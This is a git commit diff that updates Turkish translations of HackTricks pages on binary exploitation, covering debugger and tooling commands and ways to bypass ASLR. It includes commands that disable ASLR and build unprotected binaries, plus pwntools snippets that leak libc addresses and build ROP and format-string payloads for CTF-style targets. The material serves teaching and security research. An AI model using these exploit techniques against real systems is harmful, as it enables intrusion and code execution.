Translated ['binary-exploitation/basic-binary-exploitation-methodology/t

This commit is contained in:
Translator 2024-04-17 05:40:04 +00:00
parent f8bc6b4063
commit 429bebf1cd
23 changed files with 860 additions and 741 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 92 KiB

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
@ -90,7 +90,7 @@ x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Daha ilginç komutlar içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatalını isteğe bağlı olarak kullanabilirsiniz.
İlginç komutları içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatalını isteğe bağlı olarak kullanabilirsiniz.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -116,6 +116,9 @@ pattern search $rsp #Search the offset given the content of $rsp
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
@ -134,7 +137,7 @@ gef➤ pattern search 0x6261617762616176
#### GDB aynı adresler
Hata ayıklarken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlayabilirsiniz:
Hata ayıklama yaparken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlayabilirsiniz:
* `unset env LINES`
* `unset env COLUMNS`
@ -144,8 +147,8 @@ Hata ayıklarken GDB, **yürütüldüğünde kullanılan adreslerden biraz farkl
#### Çağrılan fonksiyonları bulmak için geri izleme
**Statik olarak bağlanmış bir binary**'e sahipseniz, tüm fonksiyonlar binary'ye ait olacaktır (harici kütüphanelere değil). Bu durumda, örneğin kullanıcı girdisi istemek için binary'nin izlediği akışı **tanımlamak zor olacaktır**.\
Bu akışı kolayca tanımlayabilirsiniz **gdb** ile binary'yi çalıştırarak, giriş istendiğinde durdurun ve ardından **CTRL+C** ile durdurun ve **`bt`** (**geri izleme**) komutunu kullanarak çağrılan fonksiyonları görün:
**Statik olarak bağlanmış bir binary**'e sahipseniz, tüm fonksiyonlar binary'ye ait olacaktır (harici kütüphanelere değil). Bu durumda, binary'nin örneğin kullanıcı girdisi istemek için izlediği akışı **tanımlamak zor olacaktır**.\
Bu akışı kolayca tanımlayabilirsiniz, binary'yi **gdb** ile çalıştırarak kullanıcı girdisi istendiğinde durdurun. Ardından, **CTRL+C** ile durdurun ve **`bt`** (**geri izleme**) komutunu kullanarak çağrılan fonksiyonları görün:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -156,14 +159,14 @@ gef➤ bt
```
### GDB sunucusu
`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki mutlak yolunu doldurmanız gerekmektedir)
`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki yürütülebilir dosyanın mutlak yolunu doldurmanız gerekmektedir)
## Ghidra
### Yığın ofsetini bulma
**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşmasının ofsetini bulmak için çok yararlıdır.**\
Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` bir ofsete ihtiyacınız olduğunu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` bir ofset olduğunu gösterir.\
Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` ofseti olduğunu gösterir.\
_RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
![](<../../../.gitbook/assets/image (1058).png>)
@ -172,13 +175,13 @@ _RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Programda yürütülen her opcode'u al.
Programda yürütülen her opcode'u alın.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\
**-o** --> Çıktı\
**-g** --> Kodu kaydet (GDB bunu görebilecek)\
**-g** --> Kodu kaydet (GDB görebilecek)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
**Shellcode derlemek için:**\
@ -187,7 +190,7 @@ Programda yürütülen her opcode'u al.
## Objdump
**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\
**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets'ları bulmak, fonksiyon adreslerini bulmak...)\
**-Mintel** --> **Intel** sözdizimi\
**-t** --> **Semboller** tablosu\
**-D** --> **Tümünü** (statik değişkenin adresi)\
@ -201,14 +204,14 @@ Programda yürütülen her opcode'u al.
1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın
3. `sudo gdb --core=\<path/core> --quiet`
3. `sudo gdb --core=\<path/core> --quiet` çalıştırın
## Daha Fazla
**ldd executable | grep libc.so.6** --> Adres (ASLR varsa, bu her seferinde değişir)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"nin ofseti
**strace executable** --> Yürütülebilir dosya tarafından çağrılan fonksiyonlar\
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
@ -232,14 +235,14 @@ Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (linux uzak) --
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -6,7 +6,7 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
@ -16,11 +16,11 @@ HackTricks'ı desteklemenin diğer yolları:
## Temel Bilgiler
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi, tahmin etmek için saldırganın işini önemli ölçüde zorlaştırır.
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi belirli türdeki saldırıları tahmin etmeyi önemli ölçüde zorlaştırır.
### **ASLR Durumunu Kontrol Etme**
Linux sistemlerinde **ASLR** durumunu kontrol etmek için, **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirleyen **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz:
* **0**: Rastgeleleştirme yok. Her şey statiktir.
* **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **ASLR'nin Devre Dışı Bırakılması**
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakılacağı:
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -41,9 +41,9 @@ Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR'ı Etkinleştirme**
### **ASLR'yi Etkinleştirme**
ASLR'ı **etkinleştirmek** için, genellikle kök ayrıcalıkları gerektiren `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Tam rasgeleleştirme etkinleştirmek için aşağıdaki komut kullanılabilir:
ASLR'yi **etkinleştirmek** için, genellikle kök ayrıcalıkları gerektiren `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Tam rasgeleleştirme etkinleştirme aşağıdaki komutla yapılabilir:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -67,30 +67,30 @@ Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacak
PaX işlem adres alanını **3 gruba** ayırır:
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** rastgele entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> `delta_mmap` adında **16 bit**.
* **Yığın** —> `delta_stack` olarak **24 bit**. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresi**ne yol açar.
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` adında.
* **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresine** yol açar.
Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlamayı mümkün kılar.
#### Kaba kuvvet fikirleri:
* **Kod enjeksiyonundan önce büyük bir NOP kaydı barındıracak kadar büyük bir taşma varsa**, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmını atlamasını sağlayabilirsiniz**.
* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek** mümkündür.
* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve kod enjeksiyonunu bir ortam değişkenine eklemek mümkündür**.
* Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **10 (örneğin) olarak argüman geçerek** **brute-force** yapabilirsiniz. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10'u argüman olarak geçirerek. Eğer sunucu **yanıt vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
{% hint style="success" %}
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
{% endhint %}
### 64 bit yığın brute-force
### 64 bit yığın kaba kuvvet saldırısı
Çevresel değişkenlerle yığının büyük bir kısmını işgal etmek mümkündür ve ardından binayı yüzlerce/binlerce kez yerel olarak kötüye kullanmak için deneme yapılabilir.\
Aşağıdaki kod, yığında **sadece bir adres seçmenin** mümkün olduğunu ve her **birkaç yüz çalıştırmada** bu adresin **NOP talimatını** içereceğini göstermektedir:
Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek mümkündür ve ardından yerel olarak binleri/yüzleri kez kötüye kullanmak için denemelerde bulunabilirsiniz.\
Aşağıdaki kod, yığında **sadece bir adresi seçmenin** mümkün olduğunu ve her **birkaç yüz kez çalıştırıldığında** bu adresin **NOP talimatını** içereceğini göstermektedir:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
@ -158,26 +158,26 @@ pass
### Yerel Bilgiler (`/proc/[pid]/stat`)
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içinde şu türden **ilginç** bilgiler bulunur:
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içinde şu gibi **ilginç bilgiler** bulunur:
- **startcode** & **endcode**: **İkili dosyanın TEXT** kısmının üstünde ve altındaki adresler
- **startstack**: **Yığının** başlangıç adresi
- **startcode** & **endcode**: Binary'nin **TEXT** kısmının üstünde ve altındaki adresler
- **startstack**: **Stack**'in başlangıç adresi
- **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
- **arg\_start** & **arg\_end**: **Komut satırı argümanlarının** üstünde ve altındaki adresler
- **arg\_start** & **arg\_end**: **cli argümanlarının** üstünde ve altındaki adresler
- **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler
Bu nedenle, saldırgan, söz konusu ikili dosyadan okuduktan sonra oluşturulabilecek farklı bir **girdiden gelen taşmaları beklemeyen** bu ikili dosyayla aynı bilgisayarda ise, bu dosyadan bazı adresler alabilir ve bunlardan **saldırı için ofsetler oluşturabilir**.
Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, fakat bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girişten taşma** bekliyorsa, saldırganın **bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturması mümkündür**.
{% hint style="success" %}
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresine giderek `/proc/pid/stat` araması yapın.
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
{% endhint %}
### Bir sızıntıya sahip olmak
- **Zorluk, bir sızıntı vermek**
Eğer bir sızıntı verilmişse (kolay CTF zorlukları), bu sızıntılardan ofsetleri hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü biliyorsanız). Bu örnek saldırı, [**buradan örneği çıkarılmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (daha fazla ayrıntı için o sayfaya bakın):
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntıdan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın):
```python
from pwn import *
@ -204,7 +204,7 @@ p.interactive()
```
* **ret2plt**
Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışarı sızdırmak mümkün olacaktır. Kontrol edin:
Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışa aktarmak mümkün olabilir. Kontrol edin:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -212,7 +212,7 @@ Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işl
* **Format Strings Arbitrary Read**
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yapabilirseniz, bir **libc işlevi**nin adresini GOT'tan dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, bir **libc işlevi**nin adresini GOT'tan dışa aktarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Format Strings arbitrary read hakkında daha fazla bilgiyi şurada bulabilirsiniz:
Format Strings arbitrary read hakkında daha fazla bilgiyi aşağıda bulabilirsiniz:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -231,7 +231,7 @@ Format Strings arbitrary read hakkında daha fazla bilgiyi şurada bulabilirsini
### Ret2ret & Ret2pop
Stack içindeki adresleri istismar ederek ASLR'ı atlamayı deneyin:
Stack içindeki adresleri istismar ederek ASLR'yi atlamaya çalışın:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
@ -239,12 +239,12 @@ Stack içindeki adresleri istismar ederek ASLR'ı atlamayı deneyin:
### vsyscall
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. **vsyscalls**'ın kritik avantajı, **ASLR**'a (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
Ancak, burada çok ilginç araçlar bulunmayacaktır (örneğin, bir `ret;` eşdeğerini almak mümkündür)
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
Ancak, burada çok ilginç araçlar bulunmayacak (örneğin, bir `ret;` eşdeğerini almak mümkündür)
(Örnek ve kod [**bu yazıdan alınmıştır**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation) alınmıştır)
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Bir `ret` talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek yürütmenin bu **vsyscall** adresine ulaşmasını sağlayan bir saldırgan, bu saldırının bu kısmı için **ASLR**'ı atlamaya gerek duymadan kod yürütme başarabilir.
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek yürütmenin bu **vsyscall** adresine ulaşmasını sağlayan bir saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir.
```
ef➤ vmmap
Start End Offset Perm Path
@ -285,16 +285,10 @@ gef➤ x/4i 0xffffffffff600800
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
<details>
### vDSO
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilir**. Daha fazla bilgi için şuraya bakın:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
## Temel Bilgiler
